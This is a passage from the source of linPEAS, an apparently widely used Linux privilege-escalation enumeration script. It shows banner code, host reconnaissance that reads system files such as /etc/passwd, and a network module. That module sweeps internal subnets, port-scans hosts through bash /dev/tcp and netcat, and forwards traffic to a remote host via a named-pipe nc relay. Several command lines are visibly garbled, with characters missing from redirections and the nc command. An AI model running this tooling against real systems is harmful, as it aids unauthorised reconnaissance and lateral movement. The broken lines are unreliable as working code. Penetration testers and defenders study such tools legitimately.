\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;73;218;37m\e[38;2;67;203;34m▄\e[48;2;68;194;37m\e[38;2;40;116;21m▄\e[48;2;58;142;36m\e[38;2;8;21;5m▄\e[48;2;49;120;31m\e[38;2;6;10;5m▄\e[48;2;25;59;16m\e[38;2;73;108;65m▄\e[48;2;15;33;11m\e[38;2;95;157;79m▄\e[48;2;12;25;9m\e[38;2;97;175;77m▄\e[48;2;21;32;19m\e[38;2;99;179;79m▄\e[48;2;23;35;19m\e[38;2;98;178;78m▄\e[48;2;20;34;17m\e[38;2;98;178;78m▄\e[48;2;13;24;11m\e[38;2;98;178;78m▄\e[48;2;16;26;14m\e[38;2;98;177;78m▄\e[0m \e[48;2;97;176;77m\e[38;2;58;103;46m▄\e[48;2;98;177;78m\e[38;2;94;170;75m▄\e[48;2;98;177;78m\e[38;2;99;179;79m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;97;176;77m\e[38;2;98;177;78m▄\e[48;2;91;165;72m\e[38;2;98;177;78m▄\e[48;2;55;100;44m\e[38;2;98;177;78m▄\e[48;2;15;27;10m\e[38;2;92;168;73m▄\e[48;2;24;46;18m\e[38;2;76;138;61m▄\e[48;2;73;154;53m\e[38;2;54;96;43m▄\e[48;2;74;213;39m\e[38;2;24;48;18m▄\e[48;2;74;222;37m\e[38;2;20;55;11m▄\e[48;2;73;217;37m\e[38;2;31;91;16m▄\e[48;2;73;218;37m\e[38;2;49;145;24m▄\e[48;2;73;218;37m\e[38;2;68;201;35m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;74;220;37m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;220;37m▄\e[48;2;73;218;37m\e[38;2;72;214;37m▄\e[48;2;73;218;37m\e[38;2;63;187;32m▄\e[48;2;72;217;36m\e[38;2;41;120;22m▄\e[48;2;74;222;36m\e[38;2;21;52;13m▄\e[48;2;67;203;34m\e[38;2;39;62;34m▄\e[48;2;40;117;21m\e[38;2;64;103;54m▄\e[48;2;14;43;7m\e[38;2;72;126;57m▄\e[48;2;4;12;2m\e[38;2;87;156;69m▄\e[48;2;25;45;21m\e[38;2;97;174;78m▄\e[48;2;71;124;57m\e[38;2;99;177;80m▄\e[48;2;97;168;78m\e[38;2;94;170;75m▄\e[48;2;96;175;77m\e[38;2;103;177;84m▄\e[48;2;98;176;79m\e[38;2;109;183;90m▄\e[48;2;100;178;80m\e[38;2;112;185;94m▄\e[48;2;100;177;80m\e[38;2;111;184;92m▄\e[48;2;99;177;80m\e[38;2;107;182;89m▄\e[48;2;98;177;78m\e[38;2;105;182;85m▄\e[48;2;98;177;78m\e[38;2;103;180;83m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[0m \e[38;2;54;79;47m▀\e[38;2;72;123;60m▀\e[48;2;97;176;78m\e[38;2;65;87;60m▄\e[48;2;98;177;78m\e[38;2;73;130;59m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;96;172;77m\e[38;2;98;177;78m▄\e[48;2;82;147;65m\e[38;2;98;177;78m▄\e[48;2;66;116;52m\e[38;2;98;177;78m▄\e[48;2;46;78;38m\e[38;2;98;177;78m▄\e[48;2;27;51;20m\e[38;2;98;177;78m▄\e[48;2;28;60;20m\e[38;2;94;169;74m▄\e[48;2;28;67;19m\e[38;2;86;155;69m▄\e[48;2;34;96;19m\e[38;2;69;123;54m▄\e[48;2;42;126;21m\e[38;2;48;86;39m▄\e[48;2;51;148;27m\e[38;2;36;64;28m▄\e[48;2;55;164;28m\e[38;2;26;46;20m▄\e[48;2;60;180;30m\e[38;2;23;39;18m▄\e[48;2;62;186;31m\e[38;2;21;40;17m▄\e[48;2;61;181;31m\e[38;2;19;36;16m▄\e[48;2;67;176;40m\e[38;2;18;32;14m▄\e[48;2;63;173;35m\e[38;2;23;36;19m▄\e[48;2;56;168;29m\e[38;2;27;42;23m▄\e[48;2;53;160;27m\e[38;2;29;45;24m▄\e[48;2;44;133;22m\e[38;2;30;53;25m▄\e[48;2;34;102;17m\e[38;2;52;89;43m▄\e[48;2;20;60;10m\e[38;2;88;148;71m▄\e[48;2;24;47;19m\e[38;2;97;171;78m▄\e[48;2;34;62;27m\e[38;2;98;177;78m▄\e[48;2;55;99;44m\e[38;2;98;177;78m▄\e[48;2;80;144;64m\e[38;2;98;177;78m▄\e[48;2;99;176;79m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;99;177;79m\e[38;2;96;172;76m▄\e[48;2;99;175;79m\e[38;2;85;151;68m▄\e[48;2;95;169;76m\e[38;2;72;121;60m▄\e[48;2;109;180;92m\e[38;2;37;57;32m▄\e[48;2;100;159;85m\e[38;2;38;41;36m▄\e[48;2;72;107;62m\e[38;2;74;74;74m▄\e[0m\e[38;2;44;65;38m▀\e[38;2;31;48;27m▀\e[38;2;31;48;26m▀\e[38;2;31;52;25m▀\e[38;2;41;71;34m▀\e[38;2;59;97;50m▀\e[0m \e[38;2;95;106;94m▀\e[38;2;81;137;65m▀\e[38;2;91;166;73m▀\e[48;2;95;174;76m\e[38;2;61;73;59m▄\e[48;2;98;177;78m\e[38;2;33;66;26m▄\e[48;2;98;177;78m\e[38;2;81;143;65m▄\e[48;2;98;177;78m\e[38;2;102;182;81m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;99;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;97;177;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;99;179;78m▄\e[48;2;98;177;78m\e[38;2;93;169;74m▄\e[48;2;98;177;78m\e[38;2;56;106;44m▄\e[48;2;96;174;77m\e[38;2;16;31;13m▄\e[48;2;68;126;54m\e[38;2;58;58;58m▄\e[0m\e[38;2;28;50;23m▀\e[38;2;20;22;20m▀\e[0m \e[38;2;41;52;39m▀\e[38;2;39;76;30m▀\e[38;2;73;136;57m▀\e[48;2;90;162;72m\e[38;2;96;100;95m▄\e[48;2;99;175;79m\e[38;2;60;69;58m▄\e[48;2;98;177;78m\e[38;2;46;59;43m▄\e[48;2;98;177;78m\e[38;2;32;51;27m▄\e[48;2;98;178;78m\e[38;2;28;50;23m▄\e[48;2;98;178;78m\e[38;2;28;55;22m▄\e[48;2;98;178;78m\e[38;2;35;64;28m▄\e[48;2;98;177;78m\e[38;2;41;75;33m▄\e[48;2;98;177;78m\e[38;2;50;89;41m▄\e[48;2;98;177;77m\e[38;2;54;89;45m▄\e[48;2;98;177;77m\e[38;2;53;89;44m▄\e[48;2;98;177;78m\e[38;2;49;86;39m▄\e[48;2;98;177;78m\e[38;2;45;83;36m▄\e[48;2;98;177;78m\e[38;2;40;74;32m▄\e[48;2;98;177;78m\e[38;2;35;64;28m▄\e[48;2;98;178;78m\e[38;2;39;60;33m▄\e[48;2;90;163;71m\e[38;2;55;61;53m▄\e[0m\e[38;2;53;97;41m▀\e[38;2;24;44;19m▀\e[38;2;36;41;35m▀\e[0m '"; else echo " \e[48;5;108m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;22m \e[48;5;108m \e[48;5;114m \e[48;5;59m \e[49m \e[48;5;108m \e[48;5;71m \e[48;5;22m \e[48;5;113m \e[48;5;71m \e[48;5;94m \e[48;5;214m \e[48;5;58m \e[48;5;214m \e[48;5;100m \e[48;5;71m \e[48;5;16m \e[48;5;108m \e[49m \e[48;5;65m \e[48;5;16m \e[48;5;22m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;65m \e[49m \e[48;5;65m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;65m \e[49m \e[48;5;23m \e[48;5;214m \e[48;5;178m \e[48;5;214m \e[48;5;65m \e[49m \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;94m \e[48;5;136m \e[48;5;214m \e[48;5;65m \e[49m \e[48;5;58m \e[48;5;214m \e[48;5;172m \e[48;5;64m \e[48;5;77m \e[48;5;71m \e[48;5;65m \e[49m \e[48;5;16m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;65m \e[49m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;65m \e[49m \e[48;5;65m \e[48;5;77m \e[48;5;71m \e[48;5;16m \e[48;5;77m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[49m \e[48;5;65m \e[48;5;16m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[48;5;59m \e[48;5;65m \e[49m \e[48;5;16m \e[48;5;65m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;22m \e[48;5;65m \e[49m \e[48;5;108m \e[48;5;107m \e[48;5;59m \e[48;5;77m \e[48;5;16m \e[48;5;114m \e[48;5;108m \e[49m" fi fi } print_support () { printf """ ${GREEN}/---------------------------------------------------------------------------------\\ | ${BLUE}Do you like PEASS?${GREEN} | |---------------------------------------------------------------------------------| | ${YELLOW}Learn Cloud Hacking${GREEN} : ${RED}https://training.hacktricks.xyz ${GREEN} | | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} | | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | |---------------------------------------------------------------------------------| | ${BLUE}Thank you! ${GREEN} | \---------------------------------------------------------------------------------/ """ } ########################################### #-----------) Starting Output (-----------# ########################################### echo "" if [ ! "$QUIET" ]; then print_banner; print_support; fi printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC; echo "" printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" echo "" printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html\n"$NC echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," echo " RED: You should take a look into it" | sed "s,RED,${SED_RED}," echo " LightCyan: Users with console" | sed "s,LightCyan,${SED_LIGHT_CYAN}," echo " Blue: Users without console & mounted devs" | sed "s,Blue,${SED_BLUE}," echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) " | sed "s,Green,${SED_GREEN}," echo " LightMagenta: Your username" | sed "s,LightMagenta,${SED_LIGHT_MAGENTA}," if [ "$IAMROOT" ]; then echo "" echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW}," sleep 3 fi echo "" printf " ${DG}Starting $SCRIPTNAME. Caching Writable Folders...$NC" echo "" ########################################### #-----------) Some Basic Info (-----------# ########################################### print_title "Basic information" printf $LG"OS: "$NC (cat /proc/version || uname -a ) 2>/dev/null printf $LG"User & Groups: "$NC (id || (whoami && groups)) 2>/dev/null printf $LG"Hostname: "$NC hostname 2>/dev/null echo "" if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC; fi FPING=$(command -v fping 2>/dev/null || echo -n '') PING=$(command -v ping 2>/dev/null || echo -n '') DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)" if [ "$FPING" ]; then DISCOVER_BAN_GOOD="$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" else if [ "$PING" ]; then DISCOVER_BAN_GOOD="$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" fi fi if [ "$DISCOVER_BAN_GOOD" ]; then printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC" else printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" fi if [ "$(command -v bash || echo -n '')" ] && ! [ -L "$(command -v bash || echo -n '')" ]; then FOUND_BASH=$(command -v bash || echo -n ''); elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then FOUND_BASH="/bin/bash"; fi FOUND_NC=$(command -v nc 2>/dev/null || echo -n '') if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v netcat 2>/dev/null || echo -n ''); fi if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v ncat 2>/dev/null || echo -n ''); fi if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v nc.traditional 2>/dev/null || echo -n ''); fi if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v nc.openbsd 2>/dev/null || echo -n ''); fi SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)" if [ "$FOUND_BASH" ]; then SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n" fi if [ "$FOUND_NC" ]; then SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n" fi if [ "$SCAN_BAN_GOOD" ]; then printf "$SCAN_BAN_GOOD$NC" else printf $RED"[-] $SCAN_BAN_BAD$NC" fi if [ "$(command -v nmap 2>/dev/null || echo -n '')" ];then NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself" printf $YELLOW"[+] $NMAP_GOOD\n$NC" fi echo "" echo "" if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ] || [ "$AUTO_NETWORK_SCAN" ]; then MAXPATH_FIND_W="1"; fi #If Network reduce the time on this if ! [ "$USER" ]; then USER=$(whoami 2>/dev/null || echo -n "UserUnknown") fi for grp in $(groups $USER 2>/dev/null | cut -d ":" -f2); do wgroups="$wgroups -group $grp -or " done wgroups="$(echo $wgroups | sed -e 's/ -or$//')" if [ ! "$HOME" ]; then if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; #Mac home else HOME="/home/$USER"; fi fi SEDOVERFLOW=true while $SEDOVERFLOW; do #WF=`find /dev /srv /proc /home /media /sys /lost+found /run /etc /root /var /tmp /mnt /boot /opt -type d -maxdepth $MAXPATH_FIND_W -writable -or -user $USER 2>/dev/null | sort` #if [ "$MACPEAS" ]; then WF=$(find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | sort) #OpenBSD find command doesn't have "-writable" option #else # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` #fi Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*" Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm if ! [ "$Wfolder" ]; then Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" fi printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 if [ $? -eq 0 ]; then SEDOVERFLOW=false else MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) #If overflow of directories, check again with MAXPATH_FIND_W - 1 fi if [ $MAXPATH_FIND_W -lt 1 ] ; then # prevent infinite loop SEDOVERFLOW=false fi done #Get HOMESEARCH if [ "$SEARCH_IN_FOLDER" ]; then HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/" else HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")" if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder HOMESEARCH="$HOME $HOMESEARCH" fi fi GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" ================================================ FILE: linPEAS/builder/linpeas_parts/linpeas_base/1_check_network_jobs.sh ================================================ # Title: Interesting Files - Check if Network jobs # ID: BS_check_network_jobs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: If Network jobs, just execute that, don't execute the rest of the script # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $DISCOVER_BAN_GOOD, $FOUND_BASH, $HELP, $IP, $PORT_FORWARD, $PORTS, $SCAN_BAN_GOOD, $Wfolder # Initial Functions: # Generated Global Variables: $LOCAL_IP, $LOCAL_PORT, $REMOTE_IP, $REMOTE_PORT, $NETMASK, $NEWIP, $MYPORTS, $NC_SCAN, $IP3, $local_ips, $local_ip, $disc_ip # Fat linpeas: 0 # Small linpeas: 1 basic_net_info(){ print_title "Basic Network Info" (ifconfig || ip a) 2>/dev/null echo "" } port_forward (){ LOCAL_IP=$1 LOCAL_PORT=$2 REMOTE_IP=$3 REMOTE_PORT=$4 echo "In your machine execute:" echo "cd /tmp; rm backpipe; mknod backpipe p;" echo "nc -lvnp $LOCAL_PORT 0backpipe" echo "" read -p "Press any key when you have executed those commands" useless_var bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &" echo "If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" } select_nc (){ #Select the correct configuration of the netcat found NC_SCAN="$FOUND_NC -v -n -z -w 1" $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1) if [ $? -eq 2 ] then NC_SCAN="timeout 1 $FOUND_NC -v -n" fi } icmp_recon (){ #Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) IP3=$(echo $1 | cut -d "." -f 1,2,3) (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & for j in $(seq 0 254) do (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & done wait } tcp_recon (){ #Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones IP3=$(echo $1 | cut -d "." -f 1,2,3) PORTS=$2 printf ${YELLOW}"[+]${GREEN} From $IP3 ${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " printf "$NC\n" for p in $PORTS; do for j in $(seq 1 254) do if [ "$FOUND_BASH" ] && [ "$(command -v timeout 2>/dev/null || echo -n '')" ]; then timeout 2.5 $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$p\"" & elif [ "$NC_SCAN" ]; then ($NC_SCAN "$IP3"."$j" "$p" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & fi done wait done } discovery_port_scan (){ basic_net_info #Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 print_title "Internal Network Discovery - Finding hosts and scanning ports" DISCOVERY=$1 MYPORTS=$2 IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) echo "Scanning: $DISCOVERY" if [ -z "$IP" ] || [ -z "$NETMASK" ] || [ "$IP" = "$NETMASK" ]; then printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC; if [ "$IP" = "$NETMASK" ]; then printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i [-p ]\n\n"$NC; fi printf ${BLUE}"$HELP"$NC; exit 0 fi PORTS="22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')" PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) #Delete repetitions if [ "$NETMASK" -eq "24" ]; then printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC tcp_recon "$IP" "$PORTS" elif [ "$NETMASK" -eq "16" ]; then printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n" $NC for i in $(seq 0 255) do NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 tcp_recon "$NEWIP" "$PORTS" done else printf $RED"[-] Err: Sorry, only netmask /24 and /16 are supported in port discovery mode. Netmask detected: $NETMASK\n"$NC; exit 0 fi } tcp_port_scan (){ #Scan open ports of a host. Default: nmap top 1000, but the user can select others basic_net_info print_title "Network Port Scanning" IP=$1 PORTS="$2" if [ -z "$PORTS" ]; then printf ${YELLOW}"[+]${GREEN} From $IP ${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " printf "$NC\n" PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" else PORTS="$(echo $PORTS | tr ',' ' ')" printf ${YELLOW}"[+]${GREEN} From $IP ${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " printf "$NC\n" fi for p in $PORTS; do if [ "$FOUND_BASH" ]; then $FOUND_BASH -c "(echo /dev/null && echo -n \"[+] Open port at: $IP:$p\"" & elif [ "$NC_SCAN" ]; then ($NC_SCAN "$IP" "$p" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & fi done wait } discover_network (){ #Check if IP and Netmask are correct and the use fping or ping to find hosts basic_net_info print_title "Network Discovery" DISCOVERY=$1 IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) if [ -z "$IP" ] || [ -z "$NETMASK" ]; then printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC; printf ${BLUE}"$HELP"$NC; exit 0 fi #Using fping if possible if [ "$FPING" ]; then $FPING -a -q -g "$DISCOVERY" | sed -${E} "s,.*,${SED_RED}," #Loop using ping else if [ "$NETMASK" -eq "24" ]; then printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC" icmp_recon $IP elif [ "$NETMASK" -eq 